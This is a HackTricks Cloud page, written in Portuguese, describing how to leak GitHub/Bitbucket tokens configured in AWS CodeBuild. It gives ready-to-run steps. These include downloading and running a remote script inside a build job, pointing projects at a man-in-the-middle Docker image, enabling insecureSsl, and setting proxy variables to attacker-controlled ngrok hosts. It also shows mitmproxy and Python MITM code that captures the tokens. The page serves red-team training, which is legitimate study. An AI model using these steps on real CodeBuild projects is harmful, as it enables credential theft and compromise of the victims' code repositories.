AWS Codebuild - Token Leakage
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do 💬 Discord group ou do telegram group ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
Recuperar Tokens configurados no Github/Bitbucket
Primeiro, verifique se há credenciais de origem configuradas que você poderia leak:
aws codebuild list-source-credentials
Via RCE em um job do CodeBuild
De dentro de um job do CodeBuild, você pode acessar um endpoint não documentado da API do AWS CodeBuild que retornará as credenciais usadas pelo CodeBuild. Isso pode ser usado para obter as credenciais com as quais o job do CodeBuild foi configurado, por exemplo credenciais do AWS CodeConnection, OAUTH ou PAT. O job do CodeBuild não precisa ter privilégios para acessar esse endpoint e também é difícil de detectar em logs e monitoramento, já que o próprio CodeBuild chama esse endpoint várias vezes na inicialização.
A técnica é explicada com mais detalhes em https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/ , mas em resumo, para obter credenciais dentro do job do CodeBuild você só precisa executar o seguinte:
python -m pip install botocore boto3 requests
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
python ./GetBuildInfo.py
Via Imagem Docker
Se você descobrir que a autenticação, por exemplo para Github, está configurada na conta, você pode exfiltrate esse acesso (GH token or OAuth token) fazendo com que o Codebuild use uma imagem Docker específica para executar o build do projeto.
Para esse propósito você pode criar um novo projeto Codebuild ou alterar o ambiente de um existente para definir a imagem Docker.
A imagem Docker que você pode usar é https://github.com/carlospolop/docker-mitm. Esta é uma imagem Docker muito básica que vai definir as variáveis de ambiente https_proxy, http_proxy e SSL_CERT_FILE. Isso permitirá interceptar a maior parte do tráfego do host indicado em https_proxy e http_proxy, e confiar no certificado SSL indicado em SSL_CERT_FILE.
- Create & Upload your own Docker MitM image
- Siga as instruções do repo para configurar o endereço IP do seu proxy e definir seu certificado SSL e construir a imagem Docker.
- NÃO DEFINA
http_proxypara não interceptar requisições ao metadata endpoint. - Você pode usar
ngrokcomongrok tcp 4444para definir o proxy para seu host - Uma vez que você tenha a imagem Docker construída, envie-a para um repositório público (Dockerhub, ECR…)
- Set the environment
- Crie um novo projeto Codebuild ou modifique o ambiente de um existente.
- Configure o projeto para usar a imagem Docker previamente gerada
.png)
- Set the MitM proxy in your host
- Como indicado no repositório do Github você pode usar algo como:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
Tip
A versão do mitmproxy utilizada foi 9.0.1, foi reportado que com a versão 10 isso pode não funcionar.
- Execute o build & capture as credenciais
- Você pode ver o token no cabeçalho Authorization:
.png)
Isto também pode ser feito usando o aws cli com algo como
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Via insecureSSL
Codebuild projetos têm uma configuração chamada insecureSsl que está escondida na interface web; só é possível alterá‑la pela API.
Habilitar isso permite que o Codebuild se conecte ao repositório sem verificar o certificado oferecido pela plataforma.
- Primeiro você precisa enumerar a configuração atual com algo como:
aws codebuild batch-get-projects --name <proj-name>
- Então, com as informações coletadas você pode atualizar a configuração do projeto
insecureSslparaTrue. A seguir há um exemplo de como atualizei um projeto; note oinsecureSsl=Trueno final (essa é a única coisa que você precisa alterar na configuração coletada). - Além disso, adicione também as variáveis de ambiente http_proxy e https_proxy apontando para o seu tcp ngrok assim:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Em seguida, execute o exemplo básico de https://github.com/synchronizing/mitm na porta indicada pelas variáveis de proxy (http_proxy e https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Finalmente, clique em Build the project, as credenciais serão enviadas em texto claro (base64) para a porta do mitm:
 (1).png)
Via protocolo HTTP
[!TIP] > Esta vulnerabilidade foi corrigida pela AWS em algum momento na semana do dia 20 de fevereiro de 2023 (acho que na sexta-feira). Então um atacante não pode mais explorá-la :)
Um atacante com permissões elevadas em um CodeBuild poderia leak o Github/Bitbucket token configurado ou, se as permissões foram configuradas via OAuth, o token OAuth temporário usado para acessar o código.
- Um atacante poderia adicionar as variáveis de ambiente http_proxy e https_proxy ao projeto CodeBuild apontando para sua máquina (por exemplo
http://5.tcp.eu.ngrok.io:14972).
.png)
.png)
- Depois, altere a URL do repositório github para usar HTTP em vez de HTTPS, por exemplo:
http://github.com/carlospolop-forks/TestActions - Em seguida, execute o exemplo básico de https://github.com/synchronizing/mitm na porta indicada pelas variáveis de proxy (http_proxy e https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Em seguida, clique em Build the project ou inicie a build a partir da linha de comando:
aws codebuild start-build --project-name <proj-name>
- Finalmente, as credentials serão enviadas em texto claro (base64) para a porta mitm:
.png)
Warning
Agora um atacante poderá usar o token a partir da sua máquina, listar todos os privilégios que ele possui e (ab)usar mais facilmente do que utilizar o serviço CodeBuild diretamente.
Execução de PR não confiável via misconfiguração do filtro do webhook
Para a cadeia de bypass do webhook acionada por PR (ACTOR_ACCOUNT_ID regex + untrusted PR execution), verifique:
AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do 💬 Discord group ou do telegram group ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

